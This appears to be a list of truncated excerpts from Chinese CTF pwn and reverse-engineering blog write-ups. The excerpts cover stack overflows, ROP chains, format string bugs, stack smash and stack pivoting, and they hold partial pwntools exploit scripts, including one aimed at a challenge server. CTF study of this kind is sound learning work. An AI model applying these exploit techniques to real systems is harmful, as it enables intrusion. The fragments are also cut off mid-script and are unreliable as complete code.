先checksec一下： 漏洞点其实蛮好找的：程序里也没几个函数 main函数中read了一个字符串，然后当成参数传递给了echo函数 在echo中的函数的接收buffer长度仅仅为0x10，而且是一个一个字符赋值的，栈缓冲区溢出漏洞，0x10 + 0x8 = 0x18个填充 控制了ESP之后，程序开启了NX，一定想到的是ROP 这里的基础知识是： http://www.vuln.cn/6645 http://www.vuln.cn/6644 http://www.vuln.cn/6643 这三篇算是ROP的基础入门，涉及X86、X64以及通用gadg...

https://blog.csdn.net/u011987514/article/details/70232881 按照自己习惯，代码重写一下： #!/usr/bin/env python # coding=utf-8 from pwn import * io = process("./welpwn") #gadgets p4r = 0x40089C pr = 0x4008A3 main = 0x4007CD puts = 0x4005A0 bss = 0x601070 io.recvuntil("RCTF\n") def leak(add...

checksec一下，发现啥保护也没有，不需要再找libc的版本了 这里的漏洞点在toomuch1中说过了 在toooomuch函数中，覆盖0x18+4个值，即可达到溢出效果 下一步目标是：将"/bin/sh"写入bss段中，然后执行system函数即可 类似x64平台，在x86中也有相似的通用gadgets exp1： 利用gets+system： #!/usr/bin/env python # coding=utf-8 from pwn import * #io = process("./toooomuch") io = ...

题目名称就已经是很明显的提示了！echo ~ 提示：格式化字符串 从IDA中看main：即可看到printf(&s)！ 漏洞原理部分： http://www.cnblogs.com/Ox9A82/p/5429099.html 漏洞刷题提升： https://www.anquanke.com/post/id/85785 https://www.anquanke.com/post/id/147666 回到这个题，还是先checksec： 结合需要从链接中得到的知识点，我们开始泄露偏移： 输入了%p，输出的是0x100，即是fgets的256 = 0x100，利...

网上随便找一下能够找到二进制文件和libc，这里就不贴了~ 在函数80485CD处有上图所示的printf漏洞 checksec发现，32位程序，和hackme的echo不同的是，开了Canary和NX 所以思路还是一样，先要泄露偏移值 #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = "debug" def find_offset(payload): io = process("./pwne") io.recvun...

IDA找漏洞点很快    所以，栈溢出的偏移值为：0xC + 0x4 = 0x10 因为开了NX，所以需要ROP~ 剩下的就是工具： ROPgadget --binary rop --ropchain  

先checksec一下： 有个大概思路：rop过NX main中和overflow函数里都有syscall函数，如下： 观察到这里有缓冲区溢出！"A" * 0xC！ 先来学习syscall函数： syscall(int arg1, ……)，为可变参数的函数，第一个参数为系统调用号，用以下命令查询： cat -n /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep "__NR_" 4 #define __NR_restart_syscall 0 5 #d...

helloworld：拖入IDA里看一下就知道数了 simple-rev：拖入IDA里看一下 s = "UIJT.JT.ZPVS.GMBH" r = "" for i in s: r += chr(ord(i) - 1) print r passthis： a = [0xC1, 0xCB, 0xC6, 0xC0, 0xFC, 0xC9, 0xE8, 0xAB, 0xA7, 0xDE, 0xE8,0xF2, 0xA7, 0xF4, 0xEF, 0xE8, 0xF2, 0xEB, 0xE3, 0xA7, 0xE9, 0xE8, 0xF3, 0x...

在调试时有时候需要不同功能，在gdb下需要安装两个工具pwndbg和peda，可惜这两个不兼容 pwndbg在调试堆的数据结构时候很方便 peda在查找字符串等功能时方便   安装pwndbg： git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh 安装peda： git clone https://github.com/longld/peda.git ~/peda 安装gef： # via the install script $ wget -q -O- https://github.com/h...

题目链接： https://www.jarvisoj.com/challenges 题目bin文件来源： github - ctfswriteup - 2015 - 32c3ctf - pwn - hackme   分析过程： 开启了NX与Canary 程序流程： 输入名字之后，即可输入一个地址去覆盖flag~这里涉及的知识点是：Stack Smash 当程序开启了Canary时，如果把该值覆盖，程序报错时会输出argv[0]的信息 void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fort...

根据提示：stderr！和32C3的readme一样，原理看上篇，这里贴两个exp #! /usr/bin/env python # coding=utf-8 from pwn import * #io = process('./smash-the-stack') io = remote('hackme.inndy.tw', 7717) argv_addr = 0xffffcfa4 buf_addr = 0xffffcee8 flag_addr = 0x804a060 payload = 'a' * (argv_addr - buf_addr) + p32(flag_addr) io...

目录 level0 level1 level2 level2_x64 level3 Level3_x64   level0 题目明显提示：buf的长度是0x80，可以直接覆盖掉return address到callsystem函数 level1 漏洞是一样的，难度加大：没有system函数地址，需要泄露；没有"/bin/sh"，需要用read函数写入bss段 看起来很眼熟：ROP基本用法~类似：RCTF 2015 welpwn （1）利用write或puts函数泄露出write或puts函数的地址，从而计算出system的地址 （2...

学习资料： https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop/#stack-pivoting 为什么要使用？ （1）栈溢出时，覆盖后剩下的栈空间不够写exp、ROP等溢出利用 （2）开启了PIE，栈地址不固定，没法利用 要求：可以控制EIP或ESP的至少一个，利用gadgets： pop esp; sub esp xx, jmp esp 从而控制程序流到我们的shellcode 例题： 可以控制的字符数为50 - 0x20 - 4 = 14个字节~是不够滴~ 就要利用stack ...

题目网站： https://pwnable.tw/challenge/ 分析题目： 在IDA下，还算是看得挺明显的，利用了0x80的syscall，即相当于执行了两个函数： syscall(write, 1, 0x14) syscall(read, 0, 0x3C) 但是明显看到：在恢复堆栈的时候，代码是add esp, 14h，即存在缓冲区溢出 意味着，我们在read时可以利用缓冲区溢出提权 => 需要泄露栈地址，在覆盖函数覆盖地址时填入，配合栈上shellcode即可 利用write函数泄露地址： 如果我们在执行完一次write + read之后，让EIP跳到0...